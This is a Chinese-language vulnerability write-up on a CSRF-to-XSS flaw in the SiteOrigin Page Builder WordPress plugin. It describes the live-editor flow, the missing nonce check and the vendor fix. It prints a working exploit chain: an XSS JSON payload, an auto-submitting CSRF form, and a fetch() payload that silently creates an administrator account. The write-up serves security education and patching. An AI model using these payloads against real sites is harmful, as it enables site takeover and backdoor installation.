WordPress Page Buider插件 CSRF to XSS漏洞分析
字数 1410 2025-08-25 22:58:46
WordPress Page Builder插件CSRF to XSS漏洞分析教学文档
1. 漏洞概述
受影响插件: Page Builder by SiteOrigin
影响版本: 2.10.15及以下版本
插件安装量: 超过100万
漏洞类型: CSRF导致XSS
危害等级: 高危
漏洞影响: 攻击者可诱使管理员点击恶意链接,创建新管理员账户并安装后门程序
2. 插件功能背景
Page Builder by SiteOrigin是一个WordPress页面构建插件,提供以下主要功能:
- 基于小工具的页面生成器
- 实时编辑器功能
- 响应式页面设计
- 草稿编辑与预览
3. 漏洞技术分析
3.1 漏洞位置
漏洞存在于插件的实时编辑器功能中,具体路径为:
- 用户通过前端实时编辑器提交修改
- 后端处理实时编辑器数据的逻辑存在缺陷
3.2 漏洞触发流程
-
实时编辑器访问:
- 用户点击实时编辑器按钮
- 访问URL包含参数:
?siteorigin_panels_live_editor=true - 插件通过
is_live_editor()函数检测实时编辑器状态
-
数据提交:
POST /wp-admin/admin-ajax.php?p=[文章ID]&siteorigin_panels_live_editor=true参数:
p: 当前编辑的文章IDsiteorigin_panels_live_editor: 标识实时编辑器状态live_editor_panels_data: 修改后的页面数据(JSON格式)
-
后端处理:
SiteOrigin_Panels_Live_Editor::single()加载实时编辑器- 构造函数通过
add_action挂载post_metadata到get_post_metadatahook post_metadata函数处理数据但缺少CSRF防护
-
XSS防护关闭:
header('X-XSS-Protection: 0');明确关闭了浏览器的XSS防护机制
3.3 关键漏洞点
-
CSRF漏洞:
post_metadata函数未验证nonce(CSRF token)- 允许跨站请求伪造数据提交
-
XSS注入点:
live_editor_panels_data参数中的内容未经充分过滤- 通过
generate_post_content处理后直接输出到页面
4. 漏洞利用方法
4.1 构造恶意请求
-
准备包含XSS payload的JSON数据:
{ "widgets": [{ "info": { "class": "SiteOrigin_Panels_Widgets_Text" }, "text": "<script>alert('XSS')</script>" }], "grids": [], "grid_cells": [] } -
编码为URL参数:
live_editor_panels_data=%7B%22widgets%22%3A%5B%7B%22info%22%3A%7B%22class%22%3A%22SiteOrigin_Panels_Widgets_Text%22%7D%2C%22text%22%3A%22%3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E%22%7D%5D%2C%22grids%22%3A%5B%5D%2C%22grid_cells%22%3A%5B%5D%7D
4.2 构造CSRF POC
<html>
<body>
<form action="https://target-site.com/wp-admin/admin-ajax.php?p=1&siteorigin_panels_live_editor=true" method="POST">
<input type="hidden" name="live_editor_panels_data" value='{"widgets":[{"info":{"class":"SiteOrigin_Panels_Widgets_Text"},"text":"<script>malicious_code_here</script>"}],"grids":[],"grid_cells":[]}' />
<input type="submit" value="Submit" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
4.3 高级利用
可通过XSS执行以下操作:
- 创建管理员账户
- 安装后门插件
- 窃取会话cookie
- 修改网站内容
示例payload:
fetch('/wp-admin/user-new.php', {
method: 'POST',
body: new URLSearchParams({
'action': 'createuser',
'_wpnonce_create-user': document.querySelector('#createuser input[name="_wpnonce_create-user"]').value,
'user_login': 'attacker',
'email': 'attacker@example.com',
'pass1': 'Password123',
'pass2': 'Password123',
'role': 'administrator',
'send_user_notification': '0'
}),
credentials: 'include'
});
5. 漏洞修复方案
5.1 官方修复
在2.10.16版本中:
- 添加了
wp_verify_nonce()检查 - 关键代码修改:
if ( ! wp_verify_nonce( $_GET['_sononce'], 'live-editor-edit' ) ) { wp_die( __( 'Invalid request.', 'siteorigin-panels' ) ); }
5.2 临时防护措施
- 升级到最新版本
- 若无升级条件:
- 禁用实时编辑器功能
- 添加自定义CSRF防护
- 通过WAF拦截可疑请求
6. 安全建议
-
开发者建议:
- 对所有修改操作实施CSRF防护
- 严格过滤用户输入
- 谨慎使用
X-XSS-Protection: 0 - 实施内容安全策略(CSP)
-
管理员建议:
- 定期更新插件
- 限制管理员账户访问权限
- 监控可疑的管理员活动
- 使用安全插件增强防护
7. 参考链接
- 官方修复提交: SiteOrigin GitHub
- WordPress插件目录: Page Builder by SiteOrigin
- CVE数据库记录: [相关CVE条目]